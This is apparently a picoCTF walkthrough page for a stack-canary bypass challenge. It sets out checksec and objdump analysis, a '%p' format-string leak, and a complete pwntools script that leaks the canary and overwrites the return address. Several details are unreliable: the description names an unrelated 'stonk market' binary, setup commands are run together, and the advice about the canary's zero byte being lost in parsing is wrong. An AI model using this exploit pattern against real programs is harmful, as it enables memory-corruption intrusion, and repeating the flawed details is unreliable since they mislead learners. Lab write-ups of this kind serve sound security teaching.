Description
You have a buffer with data. Exploit the vulnerability in the stonk market binary to get the flag.
Setup
Download the binary.
wget https://mercury.picoctf.net/static/.../vulnchmod +x vulnchecksec vulnpip install pwntoolsSolution
Walk me through it- Step 1Identify the vulnerability typechecksec shows a stack canary and a buffer overflow path. To bypass the canary you need a leak primitive: a format-string bug or an info-disclosure that reads past a buffer.bash
checksec vulnbash./vulnbashecho '%p.%p.%p.%p' | ./vulnLearn more
Stack canary bypass strategy. Stack canaries are random 8-byte values (on 64-bit) placed between local variables and the saved return address. Before returning, the function verifies the canary hasn't changed. Three common bypasses:
- Format string leak: Use
%por%N$pto read the canary value directly from the stack, then include it unchanged in the overflow payload. - Information disclosure: An off-by-one read past a buffer can leak the canary without a format string.
- Brute force: On 32-bit forking servers, the canary is inherited by child processes and can be brute-forced one byte at a time (256 attempts per byte = 1024 total).
See the buffer overflow guide for the underlying primitive.
- Format string leak: Use
- Step 2Leak the stack canarySend a long string of %p to dump stack slots. The canary is the 8-byte value before the saved RBP, ending in 0x00.python
python3 -c "print('%p.' * 25)" | ./vulnbash# Identify which position contains the canarybash# Canary ends in 0x00 (least significant byte is null for alignment)Learn more
Why the canary's lowest byte is zero. Glibc generates the canary at process start by reading from
/dev/urandominto a 64-bit slot, then masking the low byte to0x00. The zero byte is intentional: string functions likestrcpy,strcat, andprintf(%s)stop at NUL, so a string-based overflow that starts inside the buffer and reaches the canary will halt at the zero byte without ever overwriting (or even reading) the rest of the canary. That defeats string-based overflows entirely.%p,read, andmemcpyignore null bytes, so leaking and rewriting it via integer formatters is fine. - Step 3Derive buf_size and rop_offset from the binaryobjdump -d shows the function prologue (sub rsp, 0x...) which is the frame size. Subtract the offset of the buffer (relative to RBP) from the frame size to get the bytes between the buffer start and the canary.bash
objdump -d vuln | grep -A30 '<vuln>:'bash# Look for: sub rsp, 0x40 <- frame sizebash# Look for: lea rax, [rbp-0x30] <- buffer offsetbash# buf_size = 0x30 - 0x8 (canary slot is at rbp-0x8)bash# rop_offset = 8 (saved rbp between canary and saved rip)Learn more
Worked example. If the prologue shows
sub rsp, 0x40and the read target islea rax, [rbp-0x30], the buffer starts atrbp-0x30and the canary sits atrbp-0x8. Sobuf_size = 0x30 - 0x8 = 0x28bytes from buffer start to canary. The saved RBP follows the canary (8 bytes), then the saved RIP.rop_offset = 8.If
winis stripped. Symbol resolution viae.sym['win']won't work. Search the disassembly for the function that prints the flag:objdump -d vuln | grep -E '<flag|<print_flag|<get_flag' # Or find references to "flag.txt" or "/bin/sh": strings -t x vuln | grep -E 'flag|sh' # Cross-reference the address back into objdump to find the calling function - Step 4Build the exploit with canary preservationConstruct: [padding to canary] + [leaked canary] + [padding to RIP] + [target address]. The canary value is preserved so the check passes.python
python3 - <<'EOF' from pwn import * # p64 packs little-endian 8 bytes; ELF() parses symbols/sections e = ELF('./vuln') p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) # Stage 1: Leak canary via format string p.sendline(b'%N$p') # N is the stack position of the canary canary_leak = int(p.recvline().strip(), 16) log.success(f"Canary: {hex(canary_leak)}") # Stage 2: Overflow with canary preserved buf_size = 0x28 # from objdump frame analysis rop_offset = 8 # saved RBP between canary and saved RIP payload = b'A' * buf_size payload += p64(canary_leak) # preserve canary payload += b'B' * rop_offset # padding to RIP payload += p64(e.sym['win']) # overwrite return address p.sendline(payload) p.interactive() EOFLearn more
Pwntools primer.
p64()packs a 64-bit integer into 8 little-endian bytes (so address0x401370becomes\x70\x13\x40\x00\x00\x00\x00\x00on the wire).ELF()parses the binary and exposese.sym,e.got,e.plt, and section base addresses.remote()opens a TCP socket and gives yousend/recvprimitives. See the pwntools guide for the full vocabulary.Full stack layout while inside the vulnerable function (low addresses at top, the direction
gets()writes):+--------------------+ <- rsp at function entry | char buf[buf_size] | <- gets() / read() writes here, ascending | | +--------------------+ | canary (8 bytes) | <- e.g. 0xaabbccddeeff??00 (lowest byte = 00) +--------------------+ | saved rbp (8) | +--------------------+ | saved rip (8) | <- ret pops this into rip +--------------------+ | caller frame ... |Common pitfall. The canary's lowest byte is always
0x00. If you obtained the leak via%p, make sure pwntools'int(..., 16)parser keeps the leading zero. Manually shift left by 8 or pad after parsing.
Flag
picoCTF{...}
Stack canaries are bypassed by first leaking the canary value via format string (%p), then including it unchanged in the overflow payload so the canary check passes before jumping to the win function.